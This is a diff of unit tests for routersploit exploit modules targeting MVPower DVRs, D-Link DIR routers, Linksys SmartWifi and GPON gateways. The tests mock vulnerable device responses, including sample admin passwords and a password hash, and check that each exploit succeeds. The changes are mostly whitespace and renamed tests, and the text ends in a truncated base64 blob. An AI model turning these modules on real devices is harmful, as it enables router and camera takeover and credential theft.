content = b64decode(b"dNlRSRlBcYEZE7nR2QnZs7lRQVsUKeFBXAGpCeM8QVGxcQlBW0Q5sUkznONDNNkZW55pLGEUEWOeaSxhFOGx255pLLwbnmksYQlx0VueaSwRZEHZC55pLLHZDHFZA/wBYXxhY5wBYVwp4SOeaSzRXERDPAFhLNxjRAGsLGQpGRRxcXEkRAFhXBwbnEMcvmksYQl8EdkLmy5pLLHk2UOeaSxRYfzZQ55pLAkBW5FhOVHkYRE0CRuRXCkOaUGxcRZpWXx7kVl+aVl8OeEBM5FBQbsD3CRZQdkLnmkJOXnkNLHZUdlh2QueabFRcVFBWzzZHOEpXHyxWVEuaXFRUckpKdlhI0TZHOkTmwZpcVFBUQlbm9RM40PzRmmxWzM7G+M2aXFbO/M7PmlhUeFB2QxRsSOeaeEznNFbNmnhM5zRW+Zp4TOc0VvWaeEznNFbBmnhM5zRWzuc0Vs7nNFbO5zRWzuc0Vs7nNFbO5zRWzuc0Vs7nNFbO5zRWzuc0VsznNFbM5zRWzOc0VsznNFbM5zRWzOc0VsznNFbM5zRWzOc0VsznNFbK5zRWyuc0VsrnNFbK5zRWyuc0VsrnNFbK5zRWyuc0VsrnNFbK5zRW+Oc0VvjnNFb45zRW+Oc0VvjnNFb45zRW+Oc0VvjnNFb45zRW+Oc0VvbnNFb25zRW9uc0VvbnNFb25zRW9uc0VvbnNFb25zRW9uc0VvbnNFb05zRW9Oc0VvTnNFb05zRW9OcyVlBUUHRcRM0YREp4XEJsVs0SbFRsVtEqXF5CSxhCSkj1mlB2bHZQdkLm+Th2SnZDGEJKSPWaXkpCSxhCSkjLmlxhElR0Qn7PBEpC55pCXEZYVxRsSOeaXEBQVtEfLFZUeFBWzx8sVlRKzszOwM7OyzhqVwRK5vbE9sT2xZpUbEkgdkB+zszOwM7PEREUeE0ZnQ5DDnhATOcZCw5WSkrOzszOwM7PGQsOVkpKzZ0ZOEJqVtEZBQ5QXFbnGQUeSwJG5xkFNFcCRucZBQ54QEznGQU2RFB49vU4WEUhOQ5NFGxI55pUUFk5DlB4wZ0RDkJqVs80RQ5NEkpsVkTnmlBCWFxCUFbRCx7kUFBvAEpGSxhsQkjBNmx4XHhDCnjnnRcUWHx2QuedFwh8UER40Qh+5wh+5wh+5wh+5zkIfs8qbEMcdkpu5tGaSmxqVtEsdlR2WHZDNlDnmk04bFcIfGBUQlxeeEsASkZLFnhqVtEVDlB2VkpK5xUOUHZ0akzNnTk0VwJG5xUObHhQWZ05FkpYUHxsYMMVDmx4dQRY5505OF5WSRRsSOedOTheVkkEWOedOTheVkkWf505OF5WSTZHOGx40PzQ0Z05OF5WSTZHOELm0ND80RUOWFR0VFxXElR0QnxQVtEVDlhUdFRKRw5KVFBYzxUOWFR0VFRQVlcSbFbPFQ5YVHRUbFRcVGxXGQr+zZ05OF5WSRJJBFjnnTk4XlZJBH5cVFR0QlR0akzOzZ05GFR5EkZXHHZKbueaRF8LOThKVyxWVEuaRF8LOQ5NAkRW5vcUbEZUVkpWSkrnFGxGVFRySlZKSucUbEZ4SmxXmkRfDnhATOcUbEkJLHZUdlh2QueaRF84XlZJFGxI55pEXzheVkkEWOeaRF84XlZJFn+aRF84XlZJNkc4bHjQ/NDRmkRfOF5WSTZHOELm0ND80RRsRlhUdFRCVHJIytEUbEZQXEJQVs8UbEZQXEJKRxx2Sm7nmnRfFGxI55p0XzJGRubRmnRfGFZq0SxWUGxOVF7nmnRfOERJCnjnmlBcQlRUdkMUbEjnmlBcQlRUdkMqUEhW5tDQ0NDQ0NDQ0NDQ0ZpQXEJUVHZDOEJcXFx+/50GRM8KYHhW550GRM8UbEjnnQZEzwpEeOedBkTPLFLOzzh2UFxcROc4dlBcXETnOHZQXFxE5zh2UFxcROc4dlBcXETnOHZQXFxE5zh2UFxcROc4dlBcXETnOHZQXFxE5zh2UFxcRNGaVw54dkLO5zh2UFxcRM2aVw54dkLO5zh2UFxcRPmaVw54dkLO5zh2UFxcRPWaVw54dkLO5zh2UFxcRMGaVw54dkLO5zh2UFxcRNGaVw54dkLM5zh2UFxcRM2aVw54dkLM5zh2UFxcRPmaVGxJBkJ0UueadEpFBkJ0UueabwJgdlBW0R8GVlhUdFR3OGx40PzRHwZWWFR0VHcUWND80R8GVlhUdFRDOGx40PzRHwZWWFR0VEMUWND80R8GVlhUdFR3OGx40PzRHwZWWFR0VHcUWND80R8GVlhUdFRXOGx40PzRHwZWWFR0VFcUWND80R8GVlhUdFRhOGx40PzRHwZWWFR0VGEUWND80R8GVlhUdFRNOGx40PzRHwZWWFR0VE0UWND80R8GVlhUdFRvOGx40PzRHwZWWFR0VG8UWND80QkGQmpWzwkJBk0e5sTExZpFCRZEXuRuwlxIRkLCV5pFCSxWUFBW55pCXljQ0NDRmkUWYFRW55pFFmBNHubExMWaRRZgUFbnCQZGbzhsdueaRSxceGxUQkmaRQZLLFx4bFRCSZpFDnxNAkbkdEkJBkE4clB4wMGabFRQSERe5wZYRlRQVmxhmlBvClhNBH5cVvcqQlBKQmpWzypCUEpsVypWUEcZNkJqVtEZNnZNBEJgzxk2dk0AVuedCzhsdm7nnQs4bHZcVs+dCxRWUHjnnQsUVlRazxk2RRZ+zxk2RTZG5s00QnRe5Fby9Mzy9MbyVGpsxsDObM7+y69g2GDuUEZARO5cVERK7kLuVEpEclmaVHZNmlccXueaTkp2QwRY55pGdlBHDMr3mlRCeNEAWFBSUFbRAFhQUnZ2Ss0AaxsQzwBYUFJgSljRAFhQVE5cRNEAWFhcQkJW55pLDkJQV5pLCmBUdHjPAFhLNETnmks0VxTnmksLHuRsXEhCdm8vmksIfxM5My8XEQBYUFJgVF5YzsEAWHRefFbPAFhCSk58Vs8AWFcIfHhsdkuabFRsbFcqVlBHBlh2QucsREUWbERFLERCbHhQVl54RMzNnRcYQkpIzzhseEM3BnReQlxsXETRFnk2RwRY55pcVFRyTQ5WSkrnNkc4SlcOUFBC55pcVFBW+NE2RzpFHFZA9OEG2sDQ3xZ45tD00MbzNkbm9sz8zSxYSxhCSkZCalbRNFbPmnhM5zRWy5p4TOc0VveaeEznNFbzmnhM5zRW/5p4TNGaeEzPmnhMzZp4TMuaeEz5mnhM95p4TPWaeEzzmnhMwZp4TP+aeEzRmnhMz5p4TM2aeEzLmnhM+Zp4TPeaeEz1mnhM85p4TMGaeEz/mnhM0Zp4TM+aeEzNmnhMy5p4TPmaeEz3mnhM9Zp4TPOaeEzBmnhM/5p4TNGaeEzPmnhMzZp4TMuaeEz5mnhM95p4TPWaeEzzmnhMwZp4TP+aeEzRmnhMz5p4TM2aeEzLmnhM+Zp4TPeaeEz1mnhM85p4TMGaeEz/mnhM0Zp4TM+aeEzNmnhMy5p4TPmaXFcKeEZ2QueaUE5UeEMKeOeaSkcKeOeaSmB2VHhQdkLm+RhCSksYQkpI9ZpsdGxcQlB2Qub5OGxOVHhQdkLmzQZgdkpMVGrnmlxKTNEseRJcSEpCalbRMlcEWOedDlZKSwRY550OVkpK5v7E9MTE95p0QnZsWsz2zPbM9tEWUnR2bFRu5v7E9MTFnQ5DNFce5xERFGx4UFmdBR8sVlRK5v7E9MTFnQUfLFZUSucZBRRsSOedGThKclZNnRk4UHZsV50ZOHhKbFedGThseFBZnRk4XFR25vOaVFBZOQ5QdkJqVss4WEUhOQ5M5ss0RRRsSOedEQ5QdlBASlxS0RhCVHZDBFjnnQsZHnhFmlxUVHheQlbnmkpCRHhcQmxW0TMOQkpOXET5Mw5XEkpu55pWz5pWzZpWy5pW+Zp+VueaVFhCQlRySM7RDlRESOeadF5CXGxcQnxWzQ5UXkpWVuRKVEZgdn+aXFRUeFxsSOedOR5LLFZUS505Dk0CRFbmzxUOeEpsV505DnhATOcVDlxUdk0OeOedOQ54XFRQVtEVDlhUdFRCalbRFQ5YVHRUUFbRFQ5YVHRUbucVDlhUdFRcVHZM5tDQ/NEVDlhUdFRcVHZQ0PzQ0Z05OF5WSTJWUEpMVGsEWOedOTheVkkSbFRXOFhE5505OF5WSThYRQ5KSkbnnTk4XlZJKksSSQJG5yrGywkVDlhUdFRcVFBWzxUOWFR0VG8SSThMVGsCRFbm0PkVDkpsVFBWSkJUckjRFGxJBw5UckpWSkrnFGxJBw5QdnRqTM2aRF84QlcsVlRLmkRfClhcVyxWVEuaRF80VwJG5xRsRmx4UFmaRF85OHReQlxsXETRFGxGWFR0VEJqVtEUbEZYVHRUUFbRFGxGWFR0VG7nFGxGWFR0VFxUdkzm0ND80RRsRlhUdFRcVHZQ0PzQ0ZpEXzheVkkcdkpu5tGaRF8EdkMEWOeaRF8EdkMSbFRCVHJIzyxWUEJqVs8sVlBQdFbO0SxWUFBW55p0XzhESSp4zyxWUGxOVGxWzwR2QxZ2WFxCQmpWzwR2QxZ2WFxCRms4eNDQ0NDQ0NDQ0NDQ0NEEdkMWdlhcQlR4dnJ45tEWXFr0VFx2TM8WXFr0QmpWzxZcWvRUUFbRFlxa9Ep055pXDnh2Qs+aVw54dkLNmlcOeHZCy5pXDnh2QvmaVw54dkL3mlcOeHZC9ZpXDnh2QvOaVw54dkLBmlcOeHZC/5pXDnh2Qs7nOHZQXFxEz5pXDnh2Qs7nOHZQXFxEy5pXDnh2Qs7nOHZQXFxE95pXDnh2Qs7nOHZQXFxE85pXDnh2Qs7nOHZQXFxE/5pXDnh2QsznOHZQXFxEz5pXDnh2QsznOHZQXFxEy5pXDnh2QsznFlJ0dmxgbFbRGEpUdmxgbFbRFnxcYQRY550KVzheVkk4QnZM5tDRnQpXOF5WSThCRObQ0Z0KVzheVkkEQnZM5tDRnQpXOF5WSQRCRObQ0Z0KVzheVkk2VHZM5tDRnQpXOF5WSTZURObQ0Z0KVzheVkkAVnZM5tDRnQpXOF5WSQBWRObQ0Z0KVzheVkk2dHZM5tDRnQpXOF5WSTZ0RObQ0Z0KVzheVkkSXHZM5tDRnQpXOF5WSRJcRObQ0Z0KVzheVkk4dnZM5tDRnQpXOF5WSTh2RObQ0ZpFFGxI55pFCTh1ENDQ0NEJCQZQbEJYREZCQlBIQnkJCQZ0XxhWavcJBl7m0NDQ0QkGbQZySNEJBm04dRDQ0NDRCQZtNkhFmkUsXHh2dkrRCQZGbwJG5HRJCQZsdkZvAkbkdEkJBkE4cmxUQkmaRQ58TQ5M5tDRElhqQxRsSZpQbwpYTQ545wZYRlRQVm82RueaUFp3FGxI55pQWncCRuRXCkOdCxRsSOedCzhsdlB4550LOGx2VFrPGTZ2TRZ+zxk2dk02RubNGTZFBEJgzxk2RQBW550LFFZu550LFFZcVs+dEQ50Vm7yVszEbvT49sRu0MzO8tD0wZz") content = b64decode(b"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")
def apply_response(*args, **kwargs): def apply_response(*args, **kwargs):
......
...@@ -13,4 +13,3 @@ def test_check_success(target): ...@@ -13,4 +13,3 @@ def test_check_success(target):
assert exploit.check() assert exploit.check()
assert exploit.run() is None assert exploit.run() is None
...@@ -6,7 +6,7 @@ from routersploit.modules.exploits.cameras.mvpower.dvr_jaws_rce import Exploit ...@@ -6,7 +6,7 @@ from routersploit.modules.exploits.cameras.mvpower.dvr_jaws_rce import Exploit
def apply_response(*args, **kwargs): def apply_response(*args, **kwargs):
cmd = request.query_string cmd = request.query_string
res = re.findall(b"echo%20(.+)", cmd) res = re.findall(b"echo%20(.+)", cmd)
if res: if res:
return str(res[0], "utf-8"), 200 return str(res[0], "utf-8"), 200
......
...@@ -13,7 +13,7 @@ def test_check_success(target): ...@@ -13,7 +13,7 @@ def test_check_success(target):
<service>DEVICE.ACCOUNT</service> <service>DEVICE.ACCOUNT</service>
<device> <device>
<gw_name>DIR-645</gw_name> <gw_name>DIR-645</gw_name>
<account> <account>
<seqno>2</seqno> <seqno>2</seqno>
<max>2</max> <max>2</max>
......
...@@ -12,37 +12,37 @@ def test_check_success(target): ...@@ -12,37 +12,37 @@ def test_check_success(target):
"<gw_name>DIR-850L</gw_name>" "<gw_name>DIR-850L</gw_name>"
"<account>" "<account>"
"<seqno>1</seqno>" "<seqno>1</seqno>"
"<max>2</max>" " <max>2</max>"
"<count>1</count>" " <count>1</count>"
"<entry>" " <entry>"
"<uid>USR-</uid>" " <uid>USR-</uid>"
"<name>Admin</name>" " <name>Admin</name>"
"<usrid></usrid>" " <usrid></usrid>"
"<password>92830535</password>" " <password>92830535</password>"
"<group>0</group>" " <group>0</group>"
"<description></description>" " <description></description>"
"</entry>" " </entry>"
"</account>" " </account>"
"<group>" " <group>"
"<seqno></seqno>" " <seqno></seqno>"
"<max></max>" " <max></max>"
"<count>0</count>" " <count>0</count>"
"</group>" " </group>"
"<session>" " <session>"
"<captcha>0</captcha>" " <captcha>0</captcha>"
"<dummy></dummy>" " <dummy></dummy>"
"<timeout>180</timeout>" " <timeout>180</timeout>"
"<maxsession>128</maxsession>" " <maxsession>128</maxsession>"
"<maxauthorized>16</maxauthorized>" " <maxauthorized>16</maxauthorized>"
"</session>" " </session>"
"</device>" " </device>"
"</module>" " </module>"
"<?xml version=\"1.0\" encoding=\"utf-8\"?>" " <?xml version=\"1.0\" encoding=\"utf-8\"?>"
"<hedwig>" " <hedwig>"
"<result>OK</result>" " <result>OK</result>"
"<node></node>" " <node></node>"
"<message>No modules for Hedwig</message>" " <message>No modules for Hedwig</message>"
"</hedwig>" " </hedwig>"
) )
exploit = Exploit() exploit = Exploit()
......
...@@ -51,7 +51,7 @@ def apply_response(): ...@@ -51,7 +51,7 @@ def apply_response():
def test_exploit_success(target): def test_exploit_success(target):
""" Test scenario - successful exploitation """ """ Test scenario - successful exploitation """
cgi_mock = target.get_route_mock("/getcfg.php", methods=["GET", "POST"]) cgi_mock = target.get_route_mock("/getcfg.php", methods=["GET", "POST"])
cgi_mock.side_effect = apply_response cgi_mock.side_effect = apply_response
......
...@@ -4,7 +4,7 @@ from routersploit.modules.exploits.routers.linksys.smartwifi_password_disclosure ...@@ -4,7 +4,7 @@ from routersploit.modules.exploits.routers.linksys.smartwifi_password_disclosure
def test_check_success(target): def test_check_success(target):
""" Test scenario - successful check """ """ Test scenario - successful check """
route_mock= target.get_route_mock("/.htpasswd", methods=["GET"]) route_mock = target.get_route_mock("/.htpasswd", methods=["GET"])
route_mock.return_value = ( route_mock.return_value = (
'admin:$1$3Eb757jl$zFM3Mtk8Qmkp3kjbRukUq/' 'admin:$1$3Eb757jl$zFM3Mtk8Qmkp3kjbRukUq/'
) )
......
...@@ -7,6 +7,7 @@ from routersploit.modules.exploits.routers.multi.gpon_home_gateway_rce import Ex ...@@ -7,6 +7,7 @@ from routersploit.modules.exploits.routers.multi.gpon_home_gateway_rce import Ex
mark = "" mark = ""
first_req = 0 first_req = 0
def apply_response1(*args, **kwargs): def apply_response1(*args, **kwargs):
global mark, first_req global mark, first_req
...@@ -34,7 +35,7 @@ def apply_response_with_waiting(*args, **kwargs): ...@@ -34,7 +35,7 @@ def apply_response_with_waiting(*args, **kwargs):
@mock.patch("routersploit.modules.exploits.routers.multi.gpon_home_gateway_rce.shell") @mock.patch("routersploit.modules.exploits.routers.multi.gpon_home_gateway_rce.shell")
def test_check_success(mocked_shell, target): def test_check_success1(mocked_shell, target):
""" Test scenario - successful check without waiting """ """ Test scenario - successful check without waiting """
route_mock1 = target.get_route_mock("/GponForm/diag_Form", methods=["POST"]) route_mock1 = target.get_route_mock("/GponForm/diag_Form", methods=["POST"])
...@@ -52,7 +53,7 @@ def test_check_success(mocked_shell, target): ...@@ -52,7 +53,7 @@ def test_check_success(mocked_shell, target):
@mock.patch("routersploit.modules.exploits.routers.multi.gpon_home_gateway_rce.shell") @mock.patch("routersploit.modules.exploits.routers.multi.gpon_home_gateway_rce.shell")
def test_check_success(mocked_shell, target): def test_check_success2(mocked_shell, target):
""" Test scenario - successful check with waiting """ """ Test scenario - successful check with waiting """
route_mock1 = target.get_route_mock("/GponForm/diag_Form", methods=["POST"]) route_mock1 = target.get_route_mock("/GponForm/diag_Form", methods=["POST"])
......
...@@ -4,6 +4,7 @@ from routersploit.modules.exploits.routers.multi.rom0 import Exploit ...@@ -4,6 +4,7 @@ from routersploit.modules.exploits.routers.multi.rom0 import Exploit
response = b64decode(b"AQEAARlIZGJnYXJlYQAAAAAAAAAYAAAAAUgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA